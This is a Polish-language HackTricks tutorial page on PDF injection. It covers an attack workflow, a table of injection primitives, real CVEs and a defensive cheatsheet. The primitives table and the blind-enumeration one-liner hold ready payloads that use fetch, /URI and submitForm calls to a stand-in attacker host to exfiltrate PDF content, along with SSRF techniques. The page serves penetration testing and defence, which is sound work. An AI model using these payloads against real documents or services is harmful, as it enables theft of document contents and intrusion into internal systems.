PDF Injection
Reading time: 5 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Jeśli twój input jest odzwierciedlany w pliku PDF, możesz spróbować wstrzyknąć dane PDF, aby wykonać JavaScript, przeprowadzić SSRF lub ukraść zawartość PDF. Składnia PDF jest niezwykle elastyczna – jeśli możesz wydostać się z ciągu lub słownika, który osadza twój input, możesz dodać całkowicie nowe obiekty (lub nowe klucze w tym samym obiekcie), które Acrobat/Chrome chętnie zanalizuje. Od 2024 roku fala raportów o bug-bounty pokazała, że jedna nieucieczona nawias lub ukośnik jest wystarczająca do pełnego wykonania skryptu.
TL;DR – Nowoczesny Workflow Ataku (2024)
- Znajdź dowolną wartość kontrolowaną przez użytkownika, która trafia do (ciągu nawiasowego),
/URI ( … )
lub/JS ( … )
w wygenerowanym PDF. - Wstrzyknij
)
(zamykając ciąg) po którym następuje jeden z poniższych prymitywów i zakończ kolejnym otwierającym nawiasem, aby zachować poprawność składni. - Dostarcz złośliwy plik PDF do ofiary (lub do usługi backendowej, która automatycznie renderuje plik – świetne dla ślepych błędów).
- Twój ładunek działa w przeglądarce PDF:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (zobacz CVE-2024-4367)
- Acrobat → Pełne API JavaScript (może wyeksportować dowolne zawartości plików za pomocą
this.getPageNthWord
)
Przykład (przechwycenie linku adnotacji):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
Pierwszy )
zamyka oryginalny ciąg URI, następnie dodajemy nowy słownik Akcji, który Acrobat wykona, gdy użytkownik kliknie link.
Przydatne Prymitywy Wstrzykiwania
Cel | Fragment Ładunku | Uwagi |
---|---|---|
JavaScript przy otwarciu | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Wykonywane natychmiast po otwarciu dokumentu (działa w Acrobat, nie w Chrome). |
JavaScript przy linku | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Działa w PDFium i Acrobat, jeśli kontrolujesz adnotację /Link . |
Ślepe wyciek danych | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Połącz z this.getPageNthWord wewnątrz JS, aby ukraść treść. |
Server-Side SSRF | To samo co powyżej, ale celuj w wewnętrzny URL – świetne, gdy PDF jest renderowany przez usługi back-office, które honorują /URI . | |
Złamanie linii dla nowych obiektów | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Jeśli biblioteka pozwala na wstrzykiwanie znaków nowej linii, możesz tworzyć zupełnie nowe obiekty. |
Sztuczka Ślepej Enumeracji
Gareth Heyes (PortSwigger) opublikował jedną linię kodu, która enumeruje każdy obiekt w nieznanym dokumencie – przydatne, gdy nie możesz zobaczyć wygenerowanego PDF:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Kod iteruje po DOM Acrobat i wykonuje zewnętrzne żądania dla każdej pary właściwość/wartość, dając ci JSON-owy zrzut pliku. Zobacz dokument "Portable Data exFiltration" dla pełnej techniki.
Real-World Bugs (2023-2025)
- CVE-2024-4367 – Dowolne wykonanie JavaScript w PDF.js Firefoxa przed 4.2.67 omijało piaskownicę za pomocą spreparowanej akcji
/JavaScript
. - Bug bounty 2024-05 – Główny fintech pozwolił na notatki faktur dostarczane przez klientów, które trafiły do
/URI
; raport zapłacono 10 tys. dolarów po wykazaniu SSRF do wewnętrznego hosta metadanych za pomocą URIfile:///
. - CVE-2023-26155 –
node-qpdf
wstrzyknięcie polecenia przez niesanitowaną ścieżkę PDF pokazuje znaczenie ucieczki ukośników i nawiasów nawet przed warstwą PDF.
Defensive Cheatsheet
- Nigdy nie łącz surowego wejścia użytkownika wewnątrz
(
…)
ciągów lub nazw. Użyj ucieczki\
,(
,)
zgodnie z §7.3 specyfikacji PDF lub użyj ciągów szesnastkowych<...>
. - Jeśli tworzysz linki, preferuj
/URI (https://…)
, które w pełni kodujesz URL; blokuj schematyjavascript:
w klientach. - Usuń lub zwaliduj słowniki
/OpenAction
,/AA
(dodatkowe akcje),/Launch
,/SubmitForm
i/ImportData
podczas przetwarzania PDF. - Po stronie serwera renderuj nieufne PDF-y za pomocą konwertera bezgłowego (np. qpdf –decrypt –linearize), który usuwa JavaScript i zewnętrzne akcje.
- Utrzymuj przeglądarki PDF w aktualizacji; PDF.js < 4.2.67 i Acrobat Reader przed lipcem 2024 pozwalają na trywialne wykonanie kodu.
References
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (zaktualizowane maj 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (kwiecień 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.